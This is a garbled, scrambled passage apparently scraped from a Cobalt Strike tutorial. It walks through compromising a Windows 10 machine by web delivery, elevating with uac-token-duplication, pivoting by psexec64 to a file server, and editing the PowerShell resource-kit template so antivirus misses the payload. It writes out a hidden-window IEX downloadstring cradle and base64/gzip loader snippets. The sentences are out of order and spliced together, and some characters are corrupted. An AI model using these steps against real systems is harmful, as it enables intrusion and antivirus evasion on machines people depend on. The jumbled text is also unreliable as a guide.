- #Cobalt strike beacon bypass egress restrictions windows 10
- #Cobalt strike beacon bypass egress restrictions code
]$var_code = ::FromBase64String('%%DATA%%')įor ($x = 0 $x -lt $var_code.NTLM relaying is a popular attack strategy during a penetration test and is really trivial to perform. Apply the modification exactly as we did previously. Go to your "resource kit" folder and open the file named "template.圆4.ps1". With template modification (no detection) Modify the template Now, notice that if we modify the 2nd argument of the Copy function from 0 to 0x0, it seems to bypass the detection:
#Cobalt strike beacon bypass egress restrictions code
At this stage we know that the code lying at lines 30-35 is responsible for the detection:.
Now, comment out (prefix lines with #) lines 30 to 35 and execute the code (F5).
If we execute this code (F5), it will be snagged by the Anti-Virus.Set-StrictMode -Version 2 function func_get_proc_address
It results in the following decompressed code:
Execute the code (F5) and paste the content of the clipboard. Once again, replace the IEX instruction by Set-Clipboard -Value. IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,::Decompress))).ReadToEnd() $s=New-Object IO.MemoryStream(,::FromBase64String("H4sIAAAfwfyNdd1JNWBQA=")) Remove the string and paste the content of the clipboard: Set-Clipboard -Value ((new-object net.webclient).downloadstring('')) Replace the IEX instruction by Set-Clipboard -Value:. IEX ((new-object net.webclient).downloadstring('')) Powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''))" ResourceKit Without template modification (detection) Run the payload Notice that we could also use a command line:īeacon> spawnas. Enter the user's credentials, select the Beacon-TCP listener and click Lauch. Right click on the WS10 asset and select Access > Spawn as. Now, let's spawn a new session as a different user, using a Beacon-TCP listener. To connect the FILESERVER to our WS10 machine, right click on the FILESERVER asset, select Interact and do:īeacon> link WS10 msagent_58d6 Beacon-TCP It results in disconnected lines as shown below: If we want to unlink our host from the FILESERVER, let's do as follows: We have successfully compromised a new host using a Beacon-SMB named pipe, to compromise a new host: ec2 - smb is the name of our Beacon-SMB listener. 172.16.222.135 is the host we want to jump to. jump psexec64 will allow us to pivot to another host in the same network using the psexec64 executable. Right click on the first session (in the above example, PID 2652) and select Interact. It should result in a third privileged session with SYSTEM access:įrom the menu, go to Cobalt Strike > Visualization > Pivot Graph. Right click on the elevated session and select Access > Elevate. It should result in the creation of another session (elevated) Now, from the popup window, select the SMB-Beacon listener and the uac-token-duplication exploit. To do that, right click on the compromised host and select Access > Elevate: Once done, we'll elevate to another process. #Cobalt strike beacon bypass egress restrictions windows 10
In this attack scenario, we'll compromise a Windows 10 machine using a here listener and pivot to compromise a file server using a Beacon-SMB listener.Ĭompromise the machine using a scripted web delivery attack over the Beacon-HTTP listener.
3.2.2 Load the template and run the attack. 3.2 With template modification (no detection). 3.1.2 Identify the necessary modification. 3.1 Without template modification (detection). 1.3 Latteral move (uac-token-duplication).
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